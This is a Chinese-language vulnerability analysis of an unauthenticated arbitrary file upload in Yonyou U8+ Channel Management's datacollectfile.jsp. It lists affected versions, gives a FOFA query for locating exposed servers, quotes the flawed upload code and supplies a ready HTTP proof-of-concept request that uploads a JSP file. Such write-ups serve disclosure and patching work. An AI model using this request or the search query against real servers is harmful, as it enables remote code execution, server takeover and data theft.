漏洞简介
用友U8+是用友公司推出的企业管理软件套件,广泛应用于财务、供应链、人力资源等多个业务领域。在U8+渠道管理(高级版)模块中,存在一处文件上传漏洞,位于其 datacollectfile.jsp 文件中。攻击者可通过构造特定的HTTP请求,将恶意脚本或可执行文件上传至服务器。该漏洞可能导致攻击者在目标服务器上执行任意代码,从而获取服务器控制权限,进一步窃取敏感数据、篡改业务数据或对内网其他系统发起攻击。
影响版本
V18, V16.5, V16.1, V16.0, V15.1, V15.0, V13
fofa语法
title="渠道管理(高级版)"
漏洞分析
根据补丁变化

直接看 datacollectfile.jsp 文件里有关文件处理的实现逻辑
<%
com.gxfcsoft.framework.base.util.UserState us = com.gxfcsoft.framework.action.users.UserManager.getUserBySessionId(session.getId());
String month = "";
String affix = "";
String fileFullName = "";
if(ServletFileUpload.isMultipartContent(request)){
ServletFileUpload upload = new ServletFileUpload(new DiskFileItemFactory());
upload.setHeaderEncoding("UTF-8");
java.util.List<FileItem> fileItems = upload.parseRequest(request);
for(FileItem fileItem : fileItems){
if(fileItem.isFormField()){
String fieldname = fileItem.getFieldName();
if("month".equals(fieldname)){
month = fileItem.getString("UTF-8");
}
}else{
affix = fileItem.getName();
String path = com.gxfcsoft.framework.base.util.PathUtil.getUserFile()+"temp"+java.io.File.separator;
String fieldID = com.gxfcsoft.framework.base.util.UUID.getID();
if(affix.indexOf(".")!=-1)
fieldID +=affix.substring(affix.lastIndexOf("."));
fileFullName = path+fieldID;
java.io.File saveFilepath=new java.io.File(fileFullName);
fileItem.write(saveFilepath);
}
}
}
%>
文件后缀从上传文件名中获取,然后拼接到uuid后面形成新的文件名,期间对文件类型和内容无校验或过滤,因此造成任意文件上传漏洞,非常朴实无华!和U8+渠道管理(高级版) sendmail.jsp 文件上传漏洞 差不多的漏洞原因。
漏洞复现
POST /business/common/view/datacollectfile.jsp HTTP/1.1
Host: u8.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycIJMmIz8L5Q1Q8M6
------WebKitFormBoundarycIJMmIz8L5Q1Q8M6
Content-Disposition: form-data; name="file"; filename="1.jsp"
UPLOAD_TEST
------WebKitFormBoundarycIJMmIz8L5Q1Q8M6--
在响应里成功回显上传文件的完整路径,直接访问访问上传文件

成功执行我们上传代码
官方补丁修复也很直接,直接正则检测后缀是否为白名单



